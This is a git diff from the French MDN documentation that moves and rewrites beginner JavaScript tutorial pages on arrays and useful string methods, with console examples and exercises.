Je pense que nous vous en avons suffisamment appris dans cet article. L'API {{domxref("HTMLMediaElement")}} offre une multitude de fonctionnalités pour la création de lecteurs audio et vidéo simples, et ce n'est que le sommet de l'iceberg. La section "Voir aussi" ci-dessous vous fournirea des liens vers des fonctionnalités plus complexes et plus intéressantes.

+ +

Voici quelques suggestions de modifications à apporter à l'exemple que nous avons construit:

+ +
    +
  1. +

    Si la vidéo dure plus d'une heure, le temps écoulé va bien afficher les minutes et les secondes mais pas les heures. Changez l'exemple pour lui faire afficher les heures.

    +
    2. +
  2. +

    Parce que les éléments <audio> ont la même fonctionnalité {{domxref("HTMLMediaElement")}} de disponible, vous pouvez faire fonctionner ce lecteur avec un élément <audio>. Essayez  de le faire.

    +
    3. +
  3. +

    Trouvez un moyen de transformer le <div> interne en une véritable barre de progrès — quand vous cliquez quelque part sur la barre, vous vous déplacez à la position relative dans la vidéo. Un indice: vous pouvez trouver les valeurs X et Y des côtés gauche/droite et haut/bas d'un l'élément via la méthode getBoundingClientRect(), et vous pouvez trouver les coordonnées de la souris au moment du clic à l'intérieur de l'objet event du clic, appelé sur l'objet {{domxref("Document")}}. Par exemple:

    + + 
    document.onclick = function(e) {
+  console.log(e.x) + ',' + console.log(e.y)
+}
    +
    4. +
+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/first_steps/arrays/index.html b/files/fr/learn/javascript/first_steps/arrays/index.html new file mode 100644 index 0000000000..4fc38abf8d --- /dev/null +++ b/files/fr/learn/javascript/first_steps/arrays/index.html @@ -0,0 +1,528 @@ +--- +title: Les tableaux +slug: Learn/JavaScript/First_steps/tableaux +tags: + - Apprendre + - Article + - Codage + - Débutants + - JavaScript + - Lier + - Pop + - Push + - Tableaux + - décalage + - séparer +translation_of: Learn/JavaScript/First_steps/Arrays +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}
+ +

Dans le dernier article de ce module, nous examinerons les tableaux — une façon de stocker proprement une liste d'éléments de données sous un seul nom de variable. Ici nous verrons pourquoi c'est utile, puis nous apprendrons comment créer un tableau, y retrouver, y ajouter ou en enlever les éléments dedans, et quelques à‑côtés en bonus.

+ + + + + + + + + + + + +
Prérequis :Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.
Objectif :Comprendre ce que sont les tableaux et savoir comment les manipuler en JavaScript.
+ +

Qu'est‑ce qu'un tableau ?

+ +

Les tableaux sont généralement décrits comme des "objets de type liste" ; un tableau est un objet contenant plusieurs valeurs. Les objets tableau peuvent être stockés dans des variables et traités de la même manière que tout autre type de valeur, la différence étant que nous pouvons accéder à chaque valeur du tableau individuellement, et faire des choses super utiles et efficaces avec la liste des valeurs, comme boucler et faire la même chose pour chaque valeur. Peut-être que nous avons une série d'articles et leurs prix stockés dans un tableau, et nous voulons les parcourir tous et les imprimer sur une facture, tout en totalisant tous les prix ensemble et en imprimant le prix total en bas.

+ +

Sans tableaux, nous devrions stocker chaque valeur dans une variable séparée, puis appeler le code qui effectue l'affichage ou l'impression, puis ajouter séparément chaque élément. Ce serait plus long à écrire, moins efficace et cela comporterait plus de risques d'erreurs. Si nous avions 10 articles à ajouter à la facture, ce serait déjà assez mauvais, mais qu'en serait-il de 100 articles ou de 1000 ? Nous reviendrons sur cet exemple plus loin dans l'article.

+ +

Comme précédemment, initions‑nous aux bases pratiques des tableaux en entrant quelques exemples dans une console JavaScript. En voici une plus bas (vous pouvez aussi ouvrir cette console dans un onglet ou une fenêtre séparés ou utiliser la console développeur de l'explorateur si vous préférez).

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

+ +

Créer un tableau

+ +

On définit les valeurs d'un tableau par une liste d'éléments entre crochets droits, séparés par des virgules.

+ +
    +
  1. Disons que nous voulons mettre une liste d'achats dans un tableau — nous devons opérer comme suit. Entrez les lignes ci‑après dans la console : + 
    let shopping = ['pain', 'lait', 'fromage', 'houmous', 'nouilles'];
+shopping;
    +
    2. +
  2. Dans ce cas, chaque élément du tableau est une chaîne, mais gardez en tête que vous pouvez stocker n'importe quel élément dans un tableau — chaîne, nombre, objet, autre variable et même d'autres tableaux. Vous pouvez également mélanger et assortir les types d'articles — il n'est pas obligatoire que ce soient tous des nombres, des chaînes, etc. Essayez ceci :
    3. +
  3. + 
    let sequence = [1, 1, 2, 3, 5, 8, 13];
+let random = ['arbre', 795, [0, 1, 2]];
    +
    4. +
  4. Créez donc quelques tableaux de votre cru avant de continuer.
    5. +
+ +

Accès aux éléments de tableau et modification de ceux‑ci

+ +

Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant la notation crochet, de la même façon que nous avons eu accès aux lettres dans une chaîne.

+ +
    +
  1. Entrez ceci dans la console : + 
    shopping[0];
+// renvoie "pain"
    +
    2. +
  2. Vous pouvez aussi modifier un élément dans un tableau en donnant simplement une nouvelle valeur à l'élément. Essayez ceci : + 
    shopping[0] = 'crème de sésame';
+shopping;
+// shopping renvoie maintenant [ "crème de sésame", "lait", "fromage", "houmous", "nouilles" ]
    + +
    Note : Nous l'avons déjà dit, mais enseigner c'est répéter — les ordinateurs commencent les décomptes à partir de 0 !
    +
    3. +
  3. Notez qu'un tableau à l'intérieur d'un tableau est appelé un tableau multidimensionnel. Vous accédez à un des éléments de ce tableau interne en chaînant deux paires de crochets. Par exemple, pour avoir accès à l'un des éléments (le troisième) du tableau élément du tableau random (voir la section précédente), vous pouvez écrire quelque chose comme :
    4. +
  4. + 
    random[2][2];
    +
    5. +
  5. Poursuivez et faites quelques autres modifications dans les exemples de tableaux avant de poursuivre.
    6. +
+ +

Trouver la taille d'un tableau

+ +

Vous pouvez trouver la taille d'un tableau (le nombre d'éléments qu'il comporte) de la même façon que vous obtenez la taille (en caractères) d'un chaîne — avec la propriété {{jsxref("Array.prototype.length","length")}}. Essayez :

+ +
sequence.length;
+// renvoie 7
+ +

Il y a d'autres usages, mais le plus courant permet de dire à une boucle de poursuivre jusqu'à ce que tous les éléments du tableau aient été passés en revue. Ainsi, par exemple :

+ +
let sequence = [1, 1, 2, 3, 5, 8, 13];
+for (var i = 0; i < sequence.length; i++) {
+  console.log(sequence[i]);
+}
+ +

Vous en apprendrez plus sur les boucles dans un prochain article, mais, en résumé, ce code dit :

+ +
    +
  1. Commencer la boucle à l'élément 0 du tableau.
    2. +
  2. Arrêter de tourner quand le dernier élément du tableau sera atteint. Cela fonctionne pour n'importe quelle dimension de tableau ; dans notre cas, on sortira de la boucle à l'élément  7 (c'est bon, car le dernier élément — que nous souhaitons que la boucle traite — est le 6).
    3. +
  3. Afficher chaque élément sur la console de l'explorateur avec console.log().
    4. +
+ +

Quelques méthodes utiles pour les tableaux

+ +

Dans ce paragraphe nous examinerons quelques méthodes de tableaux à connaître. Elles permettent de scinder des chaînes en éléments de tableau et inversement, et d'ajouter de nouveaux éléments dans des tableaux.

+ +

Conversions entre chaînes et tableaux

+ +

Souvent, vous serez confronté à des données brutes contenues dans une longue chaîne de caractères, et vous voudrez peut-être en extraire les éléments utiles sous une forme plus pratique pour en faire quelque chose, comme les afficher dans un tableau de données. Pour ce faire, nous pouvons utiliser la méthode {{jsxref ("String. prototype. prototype. split ()","split ()")}}. Dans sa formulation la plus simple, elle prend un seul paramètre, le caractère servant de séparateur ; elle renverra les sous-chaînes entre séparateurs en tant qu'éléments d'un tableau.

+ +
+

Note : D'accord, techniquement parlant c'est une méthode de chaîne, et non une méthode de tableau, mais nous la mettons dans le chapitre des tableaux car elle est bien à sa place ici.

+
+ +
    +
  1. Servons‑nous en et voyons comment elle fonctionne. D'abord créons une chaîne dans la console : + 
    let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';
    +
    2. +
  2. Scindons‑la à chaque virgule : + 
    let myArray = myData.split(',');
+myArray;
    +
    3. +
  3. Pour terminer, trouvons la taille du nouveau tableau et retrouvons quelques‑uns de ses éléments : + 
    myArray.length;
+myArray[0]; // le premier élément du tableau
+myArray[1]; // le deuxième élément du tableau
+myArray[myArray.length-1]; // le dernier élément du tableau
    +
    4. +
  4. Vous pouvez également faire le contraire avec la méthode {{jsxref("Array.prototype.join()","join()")}}. Essayons : + 
    let myNewString = myArray.join(',');
+myNewString;
    +
    5. +
  5. Une autre façon de convertir un tableau en chaîne consiste à se servir de la méthode {{jsxref("Array.prototype.toString()","toString()")}}. toString() est plus simple au plan des arguments que join(), car elle ne prend pas de paramètre, mais elle est plus limitée. Avec join() vous pouvez diversifier les séparateurs (essayez de lancer la commande du point 4 avec un caractère autre que la virgule). + 
    let dogNames = ["Rocket","Flash","Bella","Slugger"];
+dogNames.toString(); //Rocket,Flash,Bella,Slugger
    +
    6. +
+ +

Ajout et suppression d'éléments de tableau

+ +

Nous n'avons pas encore parlé d'ajout et de suppression d'éléments de tableau — allons‑y. Nous utiliserons le tableau myArray dont nous nous sommes servis à la fin de la dernière section. Si vous n'avez pas entré les commandes de cette section dans la console, il est nécessaire de créer d'abord le tableau :

+ +
let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];
+ +

Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous pouvez respectivement utiliser {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}}.

+ +
    +
  1. Voyons push() d'abord — notez que vous devez mettre en paramètre les éléments que vous souhaitez ajouter à la fin du tableau. Essayez ceci : + + 
    myArray.push('Cardiff');
+myArray;
+myArray.push('Bradford', 'Brighton');
+myArray;
+
    +
    2. +
  2. La taille du tableau modifié est renvoyée quand l'appel de la méthode est terminé. Si vous voulez enregistrer la taille du nouveau tableau dans une variable, vous pouvez écrire quelque chose comme ceci : + 
    let newLength = myArray.push('Bristol');
+myArray;
+newLength;
    +
    3. +
  3. Supprimer le dernier élément de la liste est très simple : il suffit de lancer pop() sur celle‑ci. Essayez : + 
    myArray.pop();
    +
    4. +
  4. L'élément supprimé est renvoyé à la fin de l'appel de la méthode. Également : + 
    let removedItem = myArray.pop();
+myArray;
+removedItem;
    +
    5. +
+ +

{{jsxref("Array.prototype.unshift()","unshift()")}} et {{jsxref("Array.prototype.shift()","shift()")}} fonctionnent exactement de la même manière, excepté qu'il travaillent sur la tête du tableau au lieu de la queue.

+ +
    +
  1. D'abord unshift() — essayez : + + 
    myArray.unshift('Edinburgh');
+myArray;
    +
    2. +
  2. Maintenant shift() — essayez ! + 
    let removedItem = myArray.shift();
+myArray;
+removedItem;
    +
    3. +
+ +

Activité : affichons les produits !

+ +

Revenons à l'exemple que nous avons décrit plus haut — afficher les noms des produits et leurs prix pour un envoi, puis faire le total des prix et l'afficher à la fin de la liste. Dans l'exemple modifiable ci‑dessous, il y a des commentaires numérotés — chacun d'entre eux marque l'emplacement où vous devez ajouter quelque chose au code. Voici :

+ +
    +
  1. Sous le commentaire // number 1 il y a un certain nombre de chaînes de caractères, chacune précise le nom d'un produit et son prix séparé par deux‑points. Placez‑les dans un tableau ; enregistrez‑le sous le nom products.
    2. +
  2. Sur la même ligne que le commentaire // number 2 se trouve le début d'une boucle. Dans cette ligne nous avons actuellement i <= 0, test conditionnel qui fait que la  boucle stoppe immédiatement, car ce test dit « stopper dès que i est inférieur ou égal à 0 » et i part de 0. Remplacez ce test par un qui  n'arrêtera pas la boucle tant que i sera inférieur à la taille du tableau products.
    3. +
  3. Au dessous du commentaire // number 3 nous voudrions que vous écriviez une ligne de code qui scinde l'élément courant du tableau (nom:prix) en deux éléments distincts, un contenant uniquement le nom, l'autre uniquement le prix. Si vous nous ne savez pas trop comment faire, revoyez l'article relatif aux Méthodes utiles pour les chaînes de caractères pour vous aider, ou même mieux, regardez la section {{anch("Converting between strings and arrays")}} de cet article.
    4. +
  4. En plus des lignes de code ci‑dessus, vous aurez aussi à convertir les prix de chaîne de caractères en chiffres. Si vous ne vous souvenez pas comment faire, revoyez le premier article à propos des chaînes.
    5. +
  5. Il y a une variable nommée total créée et initialisée à la valeur de 0 en tête du code. Dans la boucle (sous // number 4) ajoutez une ligne qui ajoute à ce total le prix de l'article courant  à chaque itération de la boucle, de sorte que à la fin du code le prix total soit correctement inscrit sur l'envoi. Vous pourriez avoir besoin d'un opérateur d'assignation pour faire cela ;-).
    6. +
  6. Nous souhaitons que vous modifiez la ligne au‑dessous de  // number 5 de sorte que la variable itemText soit égale à « nom actuel de l'élément — $prix actuel de l'élément », par exemple « Shoes — $23.99 » dans chaque cas, de façon à ce qu'une information correcte soit affichée sur l'envoi. Il s'agit d'une simple concaténation de chaînes de caractères, chose qui doit vous être familière.
    7. +
+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 600) }}

+ +

Activité : Top 5 des recherches

+ +

Une bonne utilisation des méthodes de tableaux comme {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}} permet de conserver un enregistrement des éléments actuellement actifs dans une application web. Dans une scène animée, par exemple, vous pouvez avoir un tableau d'objets représentant les graphiques d'arrière-plan actuellement affichés, et vous pouvez n'en vouloir que 50 à la fois, pour des raisons de performance ou d'encombrement. Chaque fois que de nouveaux objets sont créés et ajoutés au tableau, les plus anciens peuvent être supprimés du tableau pour n'en conserver que le nombre voulu.

+ +

Dans cet exemple nous allons montrer une utilisation beaucoup plus simple — ici, nous allons vous fournir un site de recherche fictif, avec une boîte de recherche. Voici l'idée : quand un terme est entré dans la boîte de recherche, les 5 précédents termes entrés sont affichés dans la liste. Quand le nombre de termes dépasse 5, le dernier terme est supprimé chaque fois qu'un nouveau terme est ajouté ; ainsi, le 5 termes précédents sont toujours affichés.

+ +
+

Note : Dans une application réelle avec boîte de recherche, vous pourriez vraisemblablement cliquer sur un des termes de la liste pour revenir à la recherche précédente, et l'application afficherait les vrais résultats ! Mais pour le moment nous en resterons à quelque chose de simple.

+
+ +

Pour terminer l'application, il vous faut :

+ +
    +
  1. Ajouter une ligne sous le commentaire // number 1 pour ajouter la valeur qui vient d'être saisie dans la boîte au début du tableau. Cette valeur est récupérée avec searchInput.value.
    2. +
  2. Ajouter une ligne sous le commentaire // number 2  pour supprimer la valeur en fin de liste du tableau.
    3. +
+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 600) }}

+ +

Testez vos compétences !

+ +


+ Vous avez atteint la fin de cet article, mais vous souvenez-vous des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien fixé ces connaissances avant de continuer — voir Test de compétences : les tableaux.

+ +

Conclusion

+ +

Après la lecture de cet article, vous conviendrez que les tableaux semblent fichtrement utiles ; vous les verrez un peu partout en JavaScript, souvent associés à des boucles pour appliquer la même action à chaque élément du tableau. Nous vous indiquerons toutes les bases utiles à savoir à propos des boucles dans le prochain module, mais pour l'instant, félicitations : prenez une pause bien méritée ; vous avez étudié tous les articles du module !

+ +

La seule chose restant à faire est de procéder à l'évaluation de ce module pour tester votre compréhension de son contenu.

+ +

Voir aussi

+ + + +
    +
  • Collections indexées — un guide de niveau avancé à propos des tableaux et de leurs cousins, les tableaux typés.
    • +
  • {{jsxref("Array")}} — la page de référence de l'objet Array — pour un guide de référence détaillé à propos des fonctionnalités discutées dans cette page, et plus encore.
    • +
+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/first_steps/methode_chaine_utile/index.html b/files/fr/learn/javascript/first_steps/methode_chaine_utile/index.html deleted file mode 100644 index d81c3ccb4e..0000000000 --- a/files/fr/learn/javascript/first_steps/methode_chaine_utile/index.html +++ /dev/null @@ -1,479 +0,0 @@ ---- -title: Méthodes utiles pour les chaînes de caractères -slug: Learn/JavaScript/First_steps/methode_chaine_utile -tags: - - Apprentissage - - Article - - Codage - - Débutant - - JavaScript - - Longueur - - cas - - couper - - indexof - - majuscule - - minuscule - - remplacer -translation_of: Learn/JavaScript/First_steps/Useful_string_methods ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}
- -

À présent que nous avons vu les bases de la manipulation des chaînes de caractères, allons un cran plus loin et commençons à imaginer les opérations utiles que nous pourrions faire sur les chaînes de caractères avec les méthodes intégrées : trouver la longueur d'une chaîne, assembler ou couper des chaînes, substituer un caractère à un autre dans une chaîne, et plus encore.

- - - - - - - - - - - - -
Prérequis :Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.
Objectif :Comprendre que les chaînes de caractères sont des objets, et apprendre à utiliser certaines méthodes basiques disponibles sur ces objets pour manipuler les chaînes.
- -

Les chaînes de caractères sont des objets

- -

Nous l'avons déjà dit, et nous le redirons — tout est objet en JavaScript. Lorsque vous créez une chaîne, par exemple en utilisant :

- -
let string = 'Ceci est une chaîne';
- -

votre variable devient une instance de l'objet String, et par conséquent possède un grand nombre de propriétés et de méthodes associées. Allez sur la page de l'objet {{jsxref("String")}} et regardez la liste sur le côté de la page !

- -

Avant que votre cervelle ne commence à bouillir, pas de panique ! Vous n'avez vraiment pas besoin de connaître la plupart des méthodes de cette liste au début de cet apprentissage. Mais il est probable que vous utiliserez  certaines assez souvent. Nous allons les voir maintenant.

- -

Entrez quelques exemples dans une console vierge. En voici une ci-dessous (vous pouvez aussi ouvrir cette console dans un onglet ou une fenêtre séparés, ou utiliser la console de développement du navigateur si vous préférez).

- - - -

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

- -

Trouver la longueur d'une chaîne

- -

C'est facile — il suffit d'utiliser la propriété {{jsxref("String.prototype.length", "length")}}. Entrez ceci :

- -
let browserType = 'mozilla';
-browserType.length;
- -

Cette commande doit renvoyer le nombre 7, parce que « mozilla » comporte 7 caractères. C'est utile pour de nombreuses raisons ; par exemple, vous pourriez avoir besoin de trouver les longueurs d'une série de noms pour les afficher par taille ou faire savoir à un utilisateur qu'il a entré un nom trop long dans un champ de formulaire à partir du moment où il dépasse une certaine taille.

- -

Retrouver un caractère donné dans une chaîne

- -

Dans le même ordre d'idées, il est possible de faire renvoyer tout caractère d'une chaîne avec la notation crochets — c'est-à-dire en ajoutant des crochets ([]) à la fin du nom de la variable. Entre les crochets, mettez le rang du caractère à retrouver ; par exemple, pour retrouver le premier caractère, vous devez  écrire ceci :

- -
browserType[0];
- -

Les ordinateurs décomptent à partir de 0, pas de 1 ! Pour retrouver le dernier caractère de n'importe quelle chaîne, on peut utiliser la commande qui suit ; elle combine cette technique avec la propriété length  que nous avons vue plus haut :

- -
browserType[browserType.length-1];
- -

La longueur de « mozilla » est de 7 caractères, mais comme le décompte se fait à partir de 0, la position du caractère est 6, d'où la nécessité d'écrire length-1. Vous pourrez utiliser cette propriété pour, par exemple, trouver la première lettre d'une série de chaînes et les trier alphabétiquement.

- -

Trouver une sous-chaîne à l'intérieur d'une chaîne et l'extraire

- -
    -
  1. Parfois, vous aurez besoin de trouver si une chaîne est présente à l'intérieur d'une autre chaîne plus grande (on dit en général si une sous-chaîne est présente à l'intérieur d'une chaîne). La méthode {{jsxref("String.prototype.indexOf()", "indexOf()")}} permet de le faire ; elle prend un unique ({{glossary("parameter")}}) — la sous-chaîne recherchée. Essayez : - - 
    browserType.indexOf('zilla');
    - La commande donne 2 comme résultat, car la sous-chaîne « zilla » commence à la position 2 (0, 1, 2 — donc au troisième caractère) dans « mozilla ». Un tel code s'utilise pour filtrer des chaînes. Par exemple, vous pourriez avoir une liste d'adresses web et ne vouloir afficher que celles qui contiennent « mozilla ».
    2. -
- -
    -
  1. On peut faire cela autrement, peut-être plus efficacement encore. Écrivez : - 
    browserType.indexOf('vanilla');
    - Cela doit vous donner -1 comme résultat — renvoyé quand la sous-chaîne, en l'occurence « vanilla », n'est pas trouvée dans la chaîne principale.
    -
    - Vous pouvez utiliser cette propriété pour trouver tous les cas de chaînes ne contenant pas la sous-chaîne « mozilla », ou bien la contenant, si vous utilisez l'opérateur négation logique, tel que montré ci-dessous. Vous pourriez faire quelque chose comme : - - 
    if(browserType.indexOf('mozilla') !== -1) {
-  // faire des tas de choses avec la chaîne
-}
    -
    2. -
  2. Lorsque vous savez où la sous-chaîne commence à l'intérieur de la chaîne, et savez à quel caractère elle prend fin, vous pouvez utiliser {{jsxref("String.prototype.slice()", "slice()")}} pour l'extraire. Voyez ce code : - 
    browserType.slice(0,3);
    - Il renvoie « moz » — le premier paramètre est la position du caractère où doit commencer l'extraction, et le second paramètre est la position du caractère se trouvant après le dernier à extraire. Ainsi, l'extraction va de la première position à la dernière, celle-ci non comprise. On peut dire, dans notre cas, que le second paramètre est égal à la longueur de la chaîne retournée.
    3. -
  3. Également, si vous souhaitez extraire tous les caractères après un caractère donné jusqu'à la fin de la chaîne, vous n'avez pas à mettre le second paramètre ! Il suffit d'indiquer la position du caractère à partir duquel vous voulez extraire les caractères restants dans la chaîne. Essayez la commande : - 
    browserType.slice(2);
    - Elle renvoie « zilla » — le caractère à la position 2 est « z » et comme nous n'avons pas mis de second paramètre, la sous-chaîne retournée comporte tous les caractères restants de la chaîne.
    4. -
- -
-

Note : Le second paramètre de slice() est optionnel : s'il n'est pas defini, l'extraction va jusqu'à la fin de la chaîne originale. Il existe aussi d'autres options, allez à la page de {{jsxref("String.prototype.slice()", "slice()")}} pour voir ces autres options.

-
- -

Changer la casse

- -

Les méthodes {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} et {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} s'appliquent à une chaîne et en convertissent tous les caractères, respectivement en minuscules ou en majuscules. C'est utile si, par exemple, vous souhaitez normaliser toutes les données entrées par des utilisateurs avant de les stocker dans une base de données.

- -

Essayons d'entrer les lignes suivantes et voyons ce qui se passe :

- -
let radData = 'My NaMe Is MuD';
-radData.toLowerCase();
-radData.toUpperCase();
- -

Actualiser des parties de chaîne

- -

Vous pouvez remplacer une sous-chaîne à l'intérieur d'une chaîne avec une autre sous-chaîne à l'aide de la méthode {{jsxref("String.prototype.replace()", "replace()")}}. Cela fonctionne très simplement au niveau basique, bien qu'il soit possible de faire des choses plus avancées, mais nous ne y attarderons pas maintenant.

- -

La méthode prend deux paramètres — la chaîne que vous voulez remplacer et la chaîne avec laquelle vous voulez la remplacer. Essayez avec cet exemple :

- -
browserType.replace('moz','van');
- -

À noter : pour que, dans un programme réel, la variable browserType reflète effectivement la valeur actualisée, il faut assigner à la valeur de la variable le résultat de l'opération ; cette dernière ne met pas à jour automatiquement la valeur de la sous-chaîne. Pour ce faire, il faut écrire : browserType = browserType.replace('moz','van');

- -

Apprendre en pratiquant

- -

Dans cette section, vous allez pouvoir vous entraîner à écrire du code de manipulation de chaîne. Dans chacun des exercices ci-dessous, nous avons un tableau de chaînes, une boucle qui traîte chaque valeur dans le tableau et l'affiche dans une liste à puces. Vous n'avez pas besoin de comprendre comment fonctionnent les tableaux ou les boucles dès maintenant — cela vous sera expliqué dans de prochains articles. Tout ce dont vous avez besoin dans chaque cas est d'écrire le code qui va renvoyer les chaînes dans le format souhaité.

- -

Chaque exemple est accompagné d'un bouton « Réinitialiser », que vous pouvez utiliser pour réinitialiser le code si vous faites une erreur et que vous ne parvenez pas à la corriger, et un bouton « Montrer la solution » sur lequel vous pouvez cliquer pour afficher une réponse possible si jamais vous êtes vraiment bloqué.

- -

Filtrer des messages de vœux

- -

Dans ce premier exercice, nous commencerons simplement — nous avons un tableau de carte de voeux, mais nous voulons les trier pour ne lister que les messages concernant Noël. Nous attendons de vous que vous utilisiez un test conditionnel à l'intérieur d'une structure if( ... ), pour tester chaque chaîne et ne l'afficher dans la liste que si elle contient un message concernant Noël.

- -
    -
  1. Réfléchissez d'abord à comment vérifier que le message concerne Noël. Quelle chaîne est présente dans tous ces messages, et quelle méthode pourriez-vous utiliser pour en tester la présence ?
    2. -
  2. Il vous faudra alors écrire un test conditionnel sous la forme opérande1 opérateur opérande2. La chose à gauche est-elle égale à la chose à droite ? Ou dans notre cas, l'appel de méthode de gauche renvoie-t-il le résultat de droite ?
    3. -
  3. Conseil : dans notre cas, il est probablement plus utile de tester si le résultat de l'appel de notre méthode n'est pas égal à un certain résultat.
    4. -
- - - -

{{ EmbedLiveSample('Playable_code', '100%', 490) }}

- -

Remettre les majuscules

- -

Dans cet exercice, nous avons des noms des villes du Royaume-Uni, mais les majuscules ne sont pas au bon endroit. Nous souhaitons modifier les noms pour qu'ils soient en minuscules à l'exception de la première lettre qui doit être une majuscule. Une bonne manière de faire ceci :

- -
    -
  1. Convertissez la totalité de la chaîne contenue dans la variable input en minuscules et stockez-la dans une nouvelle variable.
    2. -
  2. Récupérez la première lettre de la chaîne dans cette nouvelle variable et stockez-la dans une autre variable.
    3. -
  3. En utilisant la dernière variable comme une sous-chaîne, remplacez la première lettre de la chaîne en minuscules par la première lettre de la chaîne en minuscules transformé en majuscules. Stockez le résultat de cette procédure de remplacement dans une autre nouvelle variable.
    4. -
  4. Changez la valeur de la variable result afin qu'elle soit égale au résultat final plutôt qu'à input.
    5. -
- -
-

Note: Un conseil — les paramètres des méthodes de chaîne n'ont pas besoin d'être des chaînes, elle peuvent aussi être des variables, ou même des variables avec une méthode invoquée sur elles.

-
- - - -

{{ EmbedLiveSample('Playable_code_2', '100%', 450) }}

- -

Créer de nouvelles chaînes à partir de morceaux

- -

Dans ce dernier exercice, le tableau contient un lot de chaînes contenant des informations à propos d'arrêts de train dans le nord de l'Angleterre. Les chaînes sont des éléments de données contenant le code en trois lettres de l'arrêt, suivi par des données lisibles par machine, suivi par un point-virgule, et enfin le nom de la station lisible par un humain. Par exemple :

- -
MAN675847583748sjt567654;Manchester Piccadilly
- -

Nous voulons extraire le code de la station et son nom, et les associer dans une chaîne avec la structure suivante :

- -
MAN: Manchester Piccadilly
- -

Nous vous recommandons de procéder de la manière suivante :

- -
    -
  1. Extraire le code de trois lettres de la station et le stocker dans une nouvelle variable.
    2. -
  2. Trouver la position du caractère point-virgule.
    3. -
  3. Extraire le nom de la station lisible par un humain en utilisant la position du caractère point virgule comme référence, et le stocker dans une nouvelle variable.
    4. -
  4. Concaténer les deux nouvelles variables et une chaîne pour fabriquer la chaîne finale.
    5. -
  5. Changer la valeur de la variable result pour qu'elle soit égale à la chaîne finale, plutôt qu'à input.
    6. -
- - - -

{{ EmbedLiveSample('Playable_code_3', '100%', 485) }}

- -

Conclusion

- -

Il n'est pas possible d'éluder le fait qu'il est très important de savoir manipuler des mots et des phrases lorsqu'on programme — tout particulièrement en JavaScript, dans la mesure où les sites web servent à la communication entre les personnes. Cet article vous a indiqué, pour l'instant, les bases à connaître pour manipuler les chaînes. Ce sera utile lorsque vous aborderez des sujets plus complexes à l'avenir. Pour suivre, nous allons nous intéresser au dernier grand type de données sur lequel nous devons nous concentrer à court terme — les tableaux.

- -

{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}

diff --git a/files/fr/learn/javascript/first_steps/tableaux/index.html b/files/fr/learn/javascript/first_steps/tableaux/index.html deleted file mode 100644 index 4fc38abf8d..0000000000 --- a/files/fr/learn/javascript/first_steps/tableaux/index.html +++ /dev/null @@ -1,528 +0,0 @@ ---- -title: Les tableaux -slug: Learn/JavaScript/First_steps/tableaux -tags: - - Apprendre - - Article - - Codage - - Débutants - - JavaScript - - Lier - - Pop - - Push - - Tableaux - - décalage - - séparer -translation_of: Learn/JavaScript/First_steps/Arrays ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}
- -

Dans le dernier article de ce module, nous examinerons les tableaux — une façon de stocker proprement une liste d'éléments de données sous un seul nom de variable. Ici nous verrons pourquoi c'est utile, puis nous apprendrons comment créer un tableau, y retrouver, y ajouter ou en enlever les éléments dedans, et quelques à‑côtés en bonus.

- - - - - - - - - - - - -
Prérequis :Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.
Objectif :Comprendre ce que sont les tableaux et savoir comment les manipuler en JavaScript.
- -

Qu'est‑ce qu'un tableau ?

- -

Les tableaux sont généralement décrits comme des "objets de type liste" ; un tableau est un objet contenant plusieurs valeurs. Les objets tableau peuvent être stockés dans des variables et traités de la même manière que tout autre type de valeur, la différence étant que nous pouvons accéder à chaque valeur du tableau individuellement, et faire des choses super utiles et efficaces avec la liste des valeurs, comme boucler et faire la même chose pour chaque valeur. Peut-être que nous avons une série d'articles et leurs prix stockés dans un tableau, et nous voulons les parcourir tous et les imprimer sur une facture, tout en totalisant tous les prix ensemble et en imprimant le prix total en bas.

- -

Sans tableaux, nous devrions stocker chaque valeur dans une variable séparée, puis appeler le code qui effectue l'affichage ou l'impression, puis ajouter séparément chaque élément. Ce serait plus long à écrire, moins efficace et cela comporterait plus de risques d'erreurs. Si nous avions 10 articles à ajouter à la facture, ce serait déjà assez mauvais, mais qu'en serait-il de 100 articles ou de 1000 ? Nous reviendrons sur cet exemple plus loin dans l'article.

- -

Comme précédemment, initions‑nous aux bases pratiques des tableaux en entrant quelques exemples dans une console JavaScript. En voici une plus bas (vous pouvez aussi ouvrir cette console dans un onglet ou une fenêtre séparés ou utiliser la console développeur de l'explorateur si vous préférez).

- - - -

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

- -

